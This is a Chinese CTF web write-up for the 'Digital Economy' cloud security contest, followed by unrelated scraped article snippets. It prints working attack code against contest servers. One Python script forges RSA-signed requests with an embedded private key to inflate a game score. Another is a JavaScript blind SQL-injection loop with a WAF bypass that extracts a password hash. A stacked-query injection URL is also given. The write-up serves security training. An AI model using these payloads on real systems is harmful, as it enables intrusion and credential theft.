"数字经济"云安全共测大赛Web-Writeup
gameapp
这题首先反编译apk,简单看了看代码,主要是有startgame和score两个api,然后用模拟器(手机登不上)安装apk抓了下包,数据经过了rsa加密,所以首先用python实现rsa(在网上搜索私钥可以发现已经使用过,所以直接将别人的脚本改了改来用)。题目要求获取99999,但一次最多获取100分,所以发送999次100分,在发送一次99分即可。
import cPickle,M2Crypto,os,urllib,requests
BaseUrl="http://121.40.219.183:9999/"
sign_pri='''
-----BEGIN RSA PRIVATE KEY-----
MIICXgIBAAKBgQCqtXUIVoPUcBV1Wl3g8rGGNvMYImonQdMC1Y8USwIwf7Y0GcBP
/h6fAJPAS9//qYZzy8ZfDKH1+ezifFFCUTCCa/8aYFoms223okyzeTlUIRHbIkto
1JxYOazbsE6+KmE+yJiij4839SYuC1KsLWT82uHEA3Hau/DTzW4g4xhvzQIDAQAB
AoGAVHWs7rAnT28ZHtPUCNzqulXrlnBIhx3JMejJfqfR8H7vff2TqcA4FEEr2QNx
U0Pj0tzqS9KrO1EpQ7FwXtheoAmf3tQb5BDxPxcph2820qa/AcIxHpf5LqfONs9d
UrozcR23s561yjX7w5akeRzOwrq2BKwVtF/EoXvJTQKlwV0CQQDY96T70hxUOLoJ
FrLelwl/4Heb0Lrz83lMB6UXknUbJgOiZr/KD9NzEM477MqzKD2rTM4TeULX6cNd
hXm35daXAkEAyWtkRrStowoiscynG1KfaT4ksbbHWr53iqAhv7Z3SAshn3k9TURk
kLCQhyIcXXnuEEGFlK84WxQSy2Q6uLI9OwJBAMpLdE+7IuDAF2z79gCmUJwjfUIR
hw6H95OVGS/2RSvv8LmOFcpfoSaLB89Fw+TxYzaBoS71BAbulVJwbgGx0bcCQQCs
rJxy4UJam73Sn5hDHDn9h4D9uax+ZvskpNNJ/6uS37gbd1zOeOud/0BoGR4oJPeq
iAF0ziKKMlNKesq8vFExAkEAsvLbn5avP/CEkXZB4sRDV/gD3mK+IY5p+ZlBSYAe
KhVKdUXkdJwNqBn+iJMwFhMC7xHIbijLRe3hL9ZB0vt1nQ==
-----END RSA PRIVATE KEY-----
'''
def private_encrypt(data):
rsa_pri = M2Crypto.RSA.load_key_string(sign_pri)
ctxt_pri = rsa_pri.private_encrypt(data, M2Crypto.RSA.pkcs1_padding)
ctxt64_pri = ctxt_pri.encode('base64')
return ctxt64_pri
def public_decrypt(msg):
sign_pub='''
-----BEGIN PUBLIC KEY-----
MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQCqtXUIVoPUcBV1Wl3g8rGGNvMY
ImonQdMC1Y8USwIwf7Y0GcBP/h6fAJPAS9//qYZzy8ZfDKH1+ezifFFCUTCCa/8a
YFoms223okyzeTlUIRHbIkto1JxYOazbsE6+KmE+yJiij4839SYuC1KsLWT82uHE
A3Hau/DTzW4g4xhvzQIDAQAB
-----END PUBLIC KEY-----
'''
bio = M2Crypto.BIO.MemoryBuffer(sign_pub)
rsa_pub = M2Crypto.RSA.load_pub_key_bio(bio)
ctxt_pri = msg.decode("base64")
output = rsa_pub.public_decrypt(ctxt_pri, M2Crypto.RSA.pkcs1_padding)
return output data1 = '{"player" : "user"}'
a = requests.Session()
a.post(url=BaseUrl+"startgame/",data=private_encrypt(data1),headers={'Content-Type':'xxx'})
for i in range(999):
r=a.post(url=BaseUrl+"score/",data=private_encrypt("""{"score":100,"op":"add"}"""),headers={'Content-Type':'xxx'})
print r.text
r=a.post(url=BaseUrl+"score/",data=private_encrypt("""{"score":99,"op":"add"}"""),headers={'Content-Type':'xxx'})
print r.text r=a.get(url=BaseUrl,headers={'Content-Type':'xxx'})
print r
print a
Inject4Fun
这题需要说的其实不多,总结就两点
1.实现前端加密
var password = "admin";
var username = "admin";
var a = '1234567890abcdef';
var key = CryptoJS.enc.Latin1.parse(a);
var iv = CryptoJS.enc.Latin1.parse('1234567890123456');
var data1 = username;
var encrypted1 = CryptoJS.AES.encrypt(data1, key, { iv: iv, mode: CryptoJS.mode.CBC, padding: CryptoJS.pad.ZeroPadding });
var data2 = password;
var encrypted2 = CryptoJS.AES.encrypt(data2, key, { iv: iv, mode: CryptoJS.mode.CBC, padding: CryptoJS.pad.ZeroPadding });
var rsa = new RSAKey();
var modulus = "CDB41B014C244A55CEC3E9D222B22C8A05A7DD7DF8A419A2A9C08E91DF725A1FD4C09777F36D394701C5DB97CCFC52FFBD5A90329295F5CEBBB89986BAAFAE4FE58A1F3ECFC39A7B960F5697632CE9D2FAA787F36D9CF5F4FE59DBB52E0554CC4B510D87AB72EB80D36A61E8B9AD00F37720578986E5F17AB0387754566F4E2B";
var exponent = "010001";
rsa.setPublic(modulus, exponent);
var res = rsa.encrypt(a);
var xhr = new XMLHttpRequest();
xhr.open("POST","http://129.204.73.141:2000/login.php",false);
xhr.setRequestHeader("Content-type","application/x-www-form-urlencoded");
xhr.send("username="+encrypted1+"&password="+encrypted2+"&code="+res);
xhr.response
2.绕过waf
这里直接给出payload var username = "admin'=(left(right(password,1),1)>'a')='1"; //返回wrong password
var username = "admin'=(left(right(password,1),1)<'a')='1"; //返回wrong user
exp
不知道为什么,这题的waf有毒,可能随机性触发,可以通过修改随机生成的16位key来解决着这个问题
因为waf有毒的问题,没法一次性跑出32位hash,需要多次修改a来获取完整hash
var pass='';
var s='1234567890abcdef';
for(var n=1;n<33;n++)
{
for(var i in s)
{
var password = "admin";
var username = "admin'=(left(right(password,"+n+"),1)='"+s[i]+"')='1";
var a = '1234567890abceef';
var key = CryptoJS.enc.Latin1.parse(a);
var iv = CryptoJS.enc.Latin1.parse('1234567890123456');
var data1 = username;
var encrypted1 = CryptoJS.AES.encrypt(data1, key, { iv: iv, mode: CryptoJS.mode.CBC, padding: CryptoJS.pad.ZeroPadding });
var data2 = password;
var encrypted2 = CryptoJS.AES.encrypt(data2, key, { iv: iv, mode: CryptoJS.mode.CBC, padding: CryptoJS.pad.ZeroPadding });
var rsa = new RSAKey();
var modulus = "CDB41B014C244A55CEC3E9D222B22C8A05A7DD7DF8A419A2A9C08E91DF725A1FD4C09777F36D394701C5DB97CCFC52FFBD5A90329295F5CEBBB89986BAAFAE4FE58A1F3ECFC39A7B960F5697632CE9D2FAA787F36D9CF5F4FE59DBB52E0554CC4B510D87AB72EB80D36A61E8B9AD00F37720578986E5F17AB0387754566F4E2B";
var exponent = "010001";
rsa.setPublic(modulus, exponent);
var res = rsa.encrypt(a);
var xhr = new XMLHttpRequest();
xhr.open("POST","http://129.204.73.141:2000/login.php",false);
xhr.setRequestHeader("Content-type","application/x-www-form-urlencoded");
setTimeout(xhr.send("username="+encrypted1+"&password="+encrypted2+"&code="+res),1000);
if(xhr.response.search('wrong password')!=-1)
{pass+=s[i];console.log(s[i]+' '+n);break;}
}
}
aliwaf
1. 不能用子查询,select和from不能同时出现
2. set 与 execute不能同时出现,还有一些waf,记不清了
通过--%0a测出堆叠后,最后拿一叶飘零强网杯的payload改为下面这样拿到flag
http://aliwaf.xctf.org.cn/index.php?username=0%27;--%0aselect%200x73656c65637420757365722066726f6d206d7973716c2e75736572%20into%20@s;prepare%20a%20from%20@s;EXECUTE%20a;
qcloud
这题赛中没做出来,第一天用char(1,2,3)判断了是sqlite,第二天却发现没法用sqlite_version和sqlite_master震惊。运气好猜到了user表,但是没有弄出数据来
"数字经济"云安全共测大赛Web-Writeup的更多相关文章
- Writeup:第五届上海市大学生网络安全大赛-Web
目录 Writeup:第五届上海市大学生网络安全大赛-Web 一.Decade 无参数函数RCE(./..) 二.Easysql 三.Babyt5 二次编码绕过strpos Description: ...
- 图扑软件正式加入腾讯智维生态发展计划,智能 IDC 开启数字经济新征程
4 月 23 日,主题为<智汇科技,维新至善>的腾讯数据中心智维技术研讨会在深圳胜利召开,发布了腾讯智维 2.0 技术体系,深度揭秘了智维 2.0 新产品战略和技术规划.图扑软件(High ...
- HTTP lab01 做一个简单的测试用 web页面
做一个简单的测试用 web页面 1.安装httpd服务 yum install httpd 安装完httpd服务后,系统就自动生成了/var/www/html目录 创建一个 ...
- ISG 2018 Web Writeup
作者:agetflag 原文来自:ISG 2018 Web Writeup ISG 2018 Web Writeup CTF萌新,所以写的比较基础,请大佬们勿喷,比赛本身的Web题也不难 calc 首 ...
- NGK公链依靠技术创新推动数字经济产业发展
数字经济更让人们的生活发生了翻天覆地的变化.数字经济的发展要依靠技术的创新,发展出生态新模式.同时数字经济的发展要利用新技术对传统产业进行全面的的改造升级,释放数字对经济发展的放大.倍增作用.打造数字 ...
- CURTIS SAVANAH:数字经济=智能基础设施+海量数据+新生业态
前不久,Datahero Inc公司(公司编号:20141166945)创始人CURTIS SAVANAH在会议上表示,要构建数字经济的愿景,需要智能基础设施.海量数据和全新新生业态. 他在演讲中说到 ...
- NGK公链如何构建区块链数字经济商业帝国?
2020年对于区块链市场来说,重大的利好消息莫过于NGK公链的上线了.NGK公链其广泛的市场前景.顶尖的技术,一直备受众多大型机构以及投资者所看好.同时,NGK公链也不负众望,在上线以后,就开始落地到 ...
- [SHA2017](web) writeup
[SHA2017](web) writeup Bon Appétit (100) 打开页面查看源代码,发现如下 自然而然想到php伪协议,有个坑,看不了index.php,只能看 .htaccess ...
- [WUST-CTF]Web WriteUp
周末放假忙里偷闲打了两场比赛,其中一场就是武汉科技大学的WUST-CTF新生赛,虽说是新生赛,题目质量还是相当不错的.最后有幸拿了总排第5,记录一下Web的题解. checkin 进入题目询问题目作者 ...
随机推荐
- win10下PLSQL Developer 连接ubuntu上安装的oracle 11g
说明:过程记录的不是很相信,只记录基本步骤.并不适合想一步一步照做的同学. win10下需要的操作 1.微软官网下载instantclient,然后接到到本地一个文件夹,注意路径不要又空格,中文和括号 ...
- stm32 PWM
脉冲宽度调制是利用微处理器的数字输出来对模拟电路进行控制的一种非常有效的技术 高级定时器可以同时产生多达7路的PWM输出 而通用定时器也能同时产生多达4路的PWM输出 脉冲宽度调制模式可以产生一个由T ...
- elementUI .native修饰符
用第三方组件或者UI框架会自带自身封装的事件,如keyup等,会覆盖原生的组件而无法起效果 .native 修饰符就是用来注册元素的原生事件而不是组件自定义事件的 如elementUI的:<el ...
- java入门学习总结_03
1.键盘录入 2.分支结构 键盘录入 概述 1.键盘录入:在程序运行的过程中,可以让用户录入一些数据,存储在内存的变量中,在后续的程序运行过程中,可以使用这些数据. 2.步骤: 第一步:导包,在类声明 ...
- Django应用之content type(app应用之一django.contrib.contenttypes)
当一张表作为多个表的FK(主键),并且只能选择其中一个或者几个时,就可以使用content_type表:例如下图的数据关系,因此就可以使用content_type表来将表与表中的对象进行关联,从而做到 ...
- Introduction of Machine Learning
李宏毅主页 台湾大学语音处理实验室 人工智慧.机器学习与深度学习间有什么区别? 人工智能——目标 机器学习——手段 深度学习——机器学习的一种方法 人类设定好的天生本能 Machine Learnin ...
- linux /etc/shadow文件详解
struct spwd { char *sp_namp; /* user login name */ char *sp_pwdp; /* encrypted password */ long int ...
- Kinect for Windows SDK开发入门(四):景深数据处理 上
原文来自:http://www.cnblogs.com/yangecnu/archive/2012/04/04/KinectSDK_Depth_Image_Processing_Part1.html ...
- Procomm Plus 与ASPECT脚本语言在基于远程终端设备上的测试应用
产测 ---------------------------------------------------- 原文:http://www.bixuanzl.com/20180801/1084478. ...
- 表达式* ptr ++和++ * ptr是否相同?
两种表达都不同.让我们看一个示例代码来理解两个表达式之间的区别. 1 2 3 4 5 6 7 8 9 10 11 12 13 14 #include <stdio.h> int m ...